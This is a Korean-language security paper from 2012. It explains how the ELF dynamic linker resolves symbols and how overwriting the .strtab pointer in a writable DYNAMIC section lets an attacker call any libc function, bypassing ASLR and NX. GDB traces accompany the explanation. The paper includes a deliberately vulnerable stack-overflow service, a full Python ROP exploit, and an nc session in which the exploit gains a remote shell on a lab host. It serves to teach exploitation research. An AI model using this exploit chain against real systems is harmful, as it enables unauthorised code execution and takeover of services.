Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r
Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link 하는 dynamic linking 방식을지원합니다. dynamic linker 는 run-time 에공유라이브러리에서실제라이브러리주소를구해공유라이브러리함수를프로그램에서사용할수있도록해줍니다. 이문서에선 DYNAMIC 섹션에 write 권한이있을때 dynamic linker 를역이용해원하는함수를호출하여 ASLR 과 DEP 를우회하는기술을소개합니다. 기술소개에필요한개념의주로 dynamic linker 에대해설명할것이므로, dynamic linker 의모든자세한루틴을설명하지않습니다 dynamic linker 의자세한루틴이궁금하신분은 x82 님의문서 ( http://x82.inetcop.org/h0me/papers/fc_exploit/relocation.txt ) 를참고하시기바랍니다.
Index 0x1. Dynamic Linker? 0x2. Trick 0x3. Reusing dynamic linker for exploitation 0x4. Conclusion
0x1. Dynamic linker? Dynamic linking방식을지원하는프로그램을실행하면공유라이브러리들과함께 Dynamic linker가메모리에적재되며공유라이브러리와해당프로그램의주소공간을매핑시킬수있는 start-up 코드를가지고있어 run-time에공유라이브러리에서함수의주소를받아오는역할을수행한다. dynamic linker 가어떻게동작하는지에대해서간단한프로그램을작성해알아볼해당프로그램 에서 dynamic linker 의수행과정을알아보도록한다. 프로그램의소스는아래와같다. // hello.c #include <stdio.h> int main() { puts("hello!"); return 0; } [pwn3r@localhost test]$ gcc -o hello hello.c [pwn3r@localhost test]$ file hello hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped [pwn3r@localhost test]$./hello hello! > 빨간색으로강조된부분을통해 dynamic linking 방식을사용하도록 compile 되어있음을알수 있다. main 함수를 disassemble 해본다. (gdb) disas main Dump of assembler code for function main: 0x080483b4 <+0>: push %ebp 0x080483b5 <+1>: mov %esp,%ebp 0x080483b7 <+3>: and $0xfffffff0,%esp 0x080483ba <+6>: sub $0x10,%esp 0x080483bd <+9>: movl $0x8048494,(%esp) 0x080483c4 <+16>: call 0x80482f0 <puts@plt> 0x080483c9 <+21>: mov $0x0,%eax 0x080483ce <+26>: leave 0x080483cf <+27>: ret End of assembler dump. > 원본 c 소스에나와있던것처럼 main 함수에선문자열출력을위해 puts 함수를호출한다. 붉은부분에있는명령어옆을보면 puts@plt 라고표시되어있다.
puts@plt 함수를확인하기위해 disassemble 해본다. (gdb) disas 0x080482f0 Dump of assembler code for function puts@plt: 0x080482f0 <+0>: jmp *0x8049630 0x080482f6 <+6>: push $0x10 0x080482fb <+11>: jmp 0x80482c0 (gdb) x/x 0x8049630 0x8049630 <_GLOBAL_OFFSET_TABLE_+20>: 0x080482f6 > puts@plt 의첫명령은 puts 함수의 GOT(Global Offset Table) 에있는주소를참조해점프하는 부분이다. dynamic linker 가한번도수행되지않은초기에는 GOT 에 plt+6 ( 0x080482f6 ) 주소가 있어다음명령을이어가며, 바로이부분부터 dynamic linker 로진입하는부분이라할수있다. plt + 6 에서는 reloc_offset( 로그에서 0x10 ) 을 push 하고 0x080482c0 으로분기한다. puts @ plt + 11 에서분기한곳으로이동해보자. (gdb) x/2i 0x80482c0 0x80482c0: pushl 0x8049620 // 라이브러리정보를담고있는 link_map 구조체포인터 0x80482c6: jmp *0x8049624 /* (gdb) x/x 0x8049620 0x8049620 <_GLOBAL_OFFSET_TABLE_+4>: */ 0x0011f900 > 공유라이브러리정보를담고있는 link_map 구조체의주소 ( 로그에서 0x0011f900 ) 를 push 하 고 0x8049624 ( GOT + 8 ) 에있는값으로분기하는부분이있다. *pushl 명령은오퍼랜드를참조하여그주소에있는값을스택에 push 한다 0x8049624 ( GOT + 8 ) 에는 dynamic linker 의 _dl_runtime_resolve 함수주소가들어있어 _dl_runtime_resolve 함수로분기하게된다. 아래는 _dl_runtime_resolve 함수를 disassemble한 code이다. (gdb) x/11i _dl_runtime_resolve 0x1153a0 <_dl_runtime_resolve>: push %eax 0x1153a1 <_dl_runtime_resolve+1>: push %ecx 0x1153a2 <_dl_runtime_resolve+2>: push %edx 0x1153a3 <_dl_runtime_resolve+3>: mov 0x10(%esp),%edx // 0x10 0x1153a7 <_dl_runtime_resolve+7>: mov 0xc(%esp),%eax // 0x0011f900 0x1153ab <_dl_runtime_resolve+11>: call 0x10ec60 <_dl_fixup> 0x1153b0 <_dl_runtime_resolve+16>: pop %edx 0x1153b1 <_dl_runtime_resolve+17>: mov (%esp),%ecx 0x1153b4 <_dl_runtime_resolve+20>: mov %eax,(%esp) // eax=puts@libc 0x1153b7 <_dl_runtime_resolve+23>: mov 0x4(%esp),%eax 0x1153bb <_dl_runtime_resolve+27>: ret $0xc > _dl_runtime_resolve 함수에선 puts@plt 가호출된후 push 된두값 ( 0x10, 0x0011f900 ) 을인자 로하여 _dl_fixup 함수를호출한다.
(gdb) x/i $eip => 0x10ec7a <_dl_fixup+26>: mov 0x4(%ecx),%ecx (gdb) x/x $ecx + 4 0x8049574 <_DYNAMIC+36>: 0x080481fc // &.strtab <DYNAMIC 섹션에있는.strtab 의주소 > _dl_fixup 함수에선 DYNAMIC + 36 에저장되어있는.strtab 섹션의주소 ( 위로그에서 0x080481fc ) 를가져오고,.strtab 섹션내에있는함수명 ( puts ) 의오프셋 ( 아래로그에서 0x29 ) 을얻어두값 을더해호출할함수명이있는메모리주소 ( 아래로그에서 0x08048225 ) 를구한다. (gdb) x/i $eip => 0x10ecf8 <_dl_fixup+152>: add (%edi),%esi // *edi = 0x29, esi = &.strtab (gdb) x/x $edi 0x80481dc: 0x00000029 (gdb) x/s $esi + 0x29 // &.strtab + 0x29 = & puts 0x8048225: "puts" <.strtab 주소 + 0x29 = & puts ( 호출할함수명 )> 그리고함수명이있는메모리주소를 eax에넣고 _dl_lookup_symbol_x함수를호출한다.... 0x0010ed20 <+192>: mov %esi,%eax 0x0010ed22 <+194>: call 0x10a940 <_dl_lookup_symbol_x>... < 함수명을인자로하여 _dl_lookup_symbol_x 함수호출 > _dl_lookup_symbol_x 함수는라이브러리내의 SYMTAB주소와라이브러리시작주소를얻어오고, _dl_fixup 함수로돌아오면 SYMTAB에있는 puts 함수의오프셋과라이브러리시작주소를더해실제라이브러리함수의주소를구한다. 이렇게구한 puts 함수의주소를 GOT에 write한후 _dl_runtime_resolve함수로돌아와레지스터와스택을정리하고공유라이브러리에있는 puts 함수로넘어가게된다. 공유라이브러리에있는실제함수주소를 GOT 에 write 했기때문에이번 puts 함수수행이후다시 puts 함수가호출될때엔 dynamic linker 가주소를받아오는과정 ( 위에서설명한과정들 ) 을거치 지않고 puts@plt 에서한번에공유라이브러리함수로넘어가게된다.
0x2. Trick 0x1장에서 dynamic linker가호출할함수명이있는메모리주소를구하고, 이를이용해최종적으로공유라이브러리에있는실제함수주소를구해온다는것을알아보았다. 여기서 _dl_lookup_symbol_x에인자로넘어가는함수명을조작할수있다면, 공유라이브러리에있는어떤함수라도호출가능하다는생각을해볼수있을것이다..strtab은 write권한이없는메모리에있기때문에직접.strtab에있는문자열을조작할수없다. 만약 DYNAMIC 영역에쓰기권한이있다면 DYNAMIC 영역에있는.strtab 포인터를 write 권한이 있는다른메모리주소를포인트하도록변경시키고, 기존의.strtab 과함수명과의오프셋을더한 곳에원하는함수명을적는다면어떻게될까? 디버거를이용해테스트해보자. (gdb) x/i $eip => 0x10ec7a <_dl_fixup+26>: mov 0x4(%ecx),%ecx (gdb) x/x $ecx + 4 0x8049574 <_DYNAMIC+36>: 0x080481fc // 0x080481fc = &.strtab // DYNAMIC + 36 is pointing.strtab (gdb) x/s 0x080481fc + 0x29 0x8049661: "puts" // Offset between string puts and.strtab is 0x29 (gdb) set *0x08049574 = 0x08049638 // 0x08049638 = &.bbs // Overwriting.strtab pointer to address of.bss (gdb) set *(0x08049638 + 0x29) = 0x74737973 (gdb) set *(0x08049638 + 0x29 + 0x4) = 0x00006d65 // (0x08049638 + 0x29) = system (gdb) x/s 0x08049638 + 0x29 0x8049661: "system" > DYNAMIC 영역에서.strtab 주소를포인트하는부분을 write 권한이있는.bss 영역의주소 ( 로그에 서 0x08049638 ) 로변경시켰다. 그리고기존의.strtab 주소와문자열 puts 주소의오프셋인 0x29 를.bss 주소를더한곳에 system 이라는문자열을 write 했다. 이제 _dl_lookup_symbol_x함수가호출되기직전에 eax에있는값을확인해보자. (gdb) x/i $eip => 0x10ed22 <_dl_fixup+194>: call 0x10a940 <_dl_lookup_symbol_x> (gdb) x/s $eax 0x8049661: "system" > _dl_lookup_symbol_x 함수의인자로 system 이라는문자열의주소가들어갔다.
이제공유라이브러리의 system 함수호출을확인하기위해공유라이브러리의 system 함수에 break point 를걸고 continue 해보자. (gdb) b system Breakpoint 5 at 0x15beb0 (gdb) c Continuing. Breakpoint 5, 0x0015beb0 in system () from /lib/libc.so.6 (gdb) x/i $eip => 0x15beb0 <system>: sub $0x10,%esp > 정상적으로 system 함수가호출된것을확인가능하였고, 이로써 DYNAMIC 영역에쓰기권한이 있다면 DYNAMIC 영역에있는.strtab 포인터를조작하고호출할함수명을메모리에 write 한뒤 dynamic linker 를재사용하여사용자가원하는임의의함수를호출시킬수있다는것이증명되었 다.
0x3. Reusing dynamic linker for exploitation 이장에는위에서설명된방법을이용해 xinetd 에서데몬으로돌아가는간단한프로그램을작성 해원격에서 exploit 해볼것이다. 취약한프로그램의소스는아래와같다. #include <stdio.h> char tmp[1024]; int main() { char buf[256]; printf("pwn3r says hi!\n"); printf("you say : "); fflush(stdout); fgets(tmp, 1024, stdin); strcpy(buf, tmp); return 0; } > strcpy 함수로 256byte 의배열에최대 1024byte 의데이터를복사하기때문에단순한 stackbased buffer overflow 취약점이발생한다. strcpy@plt 가존재하므로 strcpy 호출을통해이용해원하는메모리에원하는데이터를복사할수 있다. 0x08048522 <+94>: call 0x80483e0 <strcpy@plt> > strcpy 를이용해메모리에있는문자들을긁어모아호출할함수명으로 system 이란문자열과 system 함수의인자로사용할 sh 라는문자열을메모리에만들고, DYNAMIC 영역에있는.strtab 포인터에다른 write 권한이있는영역의주소를복사시키고 dynamic linker 의루틴으로 return 하 도록하면 dynamic linker 는 system 함수의주소를받아와최종적으로 system( sh ); 를실행할것이 다. 0x80496e8 <_DYNAMIC+36>: 0x08048268 0x80482aa: "printf" 0x80482aa - 0x08048268 = 0x42 >.strtab 주소 ( 0x08048268 ) 와 printf 주소 ( 0x080482aa ) 의오프셋은 0x42 임을확인할수있다. 0x8048398: 0x08049798 0x08049798 + 0x42 = 0x80497da > write 권한이있는메모리주소 ( 0x08049798 ) 를포인트하는메모리 ( 0x08048398 ) 를찾았다. * 해당바이너리에서 0x08049798 은.data 영역임 strcpy 함수를이용해 DYNAMIC + 36(.strtab 주소를가르키는메모리, 0x080496e8 ) 에 write 권한이있는메모리주소 ( 0x08049798 ) 로덮어주고, 0x08049798 + 0x42 부분에 system 이라는문자열을만든다.
함수명으로사용할 system 이라는문자열과 system함수인자로사용할 sh 라는문자열을만드 는데사용할글자들을메모리에서찾아본다. 0x80482a2: s 0x804829d: "y" 0x80482a2: "s" 0x80482ae: "tf" 0x804828e: "ed" 0x80482cb: "main" 0x80482da: 0x00 0x804827d: "so.6" 0x8048308: "h" strcpy 를연속으로호출해서위글자들을복사시켜문자열로만들면되는데, 아래에있는 pop ; pop ; ret ; 코드를이용해 call-chain 을구성할수있다. 0x08048493 <+83>: pop %ebx 0x08048494 <+84>: pop %ebp 0x08048495 <+85>: ret 이제이를토대로 Exploit 을작성해보자. #!/usr/bin/python from struct import pack import sys p = lambda x : pack("<l", x) strcpy_plt = 0x80483e0 # strcpy @ plt printf_plt = 0x80483f0 # printf @ plt strtab_ptr = 0x80496e8 # &.strtab 을포인팅하는메모리 (DYNAMIC + 36) freespace_ptr = 0x804823c # writable 한영역의포인터 freespace = 0x080497e0 # writable 한영역 symspace = freespace + 0x42 # 함수명 system 을 write 할주소 argspace = freespace + 0x10 # 인자 sh 를 write 할주소 ppr = 0x8048493 # pop ebx; pop ebp; ret 명령이있는곳의주소 symbytes = [0x80482a2, 0x804829d, 0x80482a2, 0x80482ae, 0x804828 e, 0x80482cb, 0x80482da] # system 의각글자포인터 argbytes = [0x804827d, 0x8048308] # sh 의각글자포인터 payload = ""
for i in range(0,len(symbytes)): payload += p(strcpy_plt) payload += p(ppr) payload += p(symspace + i) payload += p(symbytes[i]) for i in range(0,len(argbytes)): payload += p(strcpy_plt) payload += p(ppr) payload += p(argspace + i) payload += p(argbytes[i]) payload += p(strcpy_plt) payload += p(ppr) payload += p(strtab_ptr) #.strtab 주소포인터 (DYNAMIC + 36) payload += p(freespace_ptr) # write 권한있는메모리주소포인터 payload += p(printf_plt + 6) # dynamic linker 루틴으로리턴 payload += p(0xdeadbeef) payload += p(argspace) # strcpy 로만들어준문자열 sh 의주소 sys.stdout.write("a"*268 + payload) > 취약프로그램을 7878 포트에서돌아가는 xinetd 데몬으로돌려두고위 exploit 을이용해원격에 서공격을진행해보겠다. [pwn3r@localhost boom]$ (./exploit.py ; cat) nc 192.168.235.129 7878 pwn3r says hi! You say : id uid=515(boom) gid=515(boom) groups=515(boom) context=unconfined_u:system_r:inetd_child_t:s0-s0:c0.c1023 > 성공적으로 Shell 을획득했다.
0x04. Conclusion 지금까지 dynamic linker를이용해 exploit하는데사용할수있는기술을소개하였다. 위기술은 fedora core의최신버젼 ( 문서를쓴시점에서 ) 인 fedora core 16에서사용가능함이확인되었다. 하지만 Ubuntu 최신버젼을비롯해몇몇 linux에선 DYNAMIC섹션에 write권한이없기때문에이기술을사용할수없어서제한적인기술이다. 그러나 DYNAMIC섹션에쓰기권한이있을때몇가지조건만만족한다면 null byte없이원하는공유라이브러리함수를호출할수있으므로 ASLR, NX를모두우회할수있는편리한기술이기도하다. 나중에상황이맞을때이기술을사용해재밌는 exploit을작성해보길바란다 :)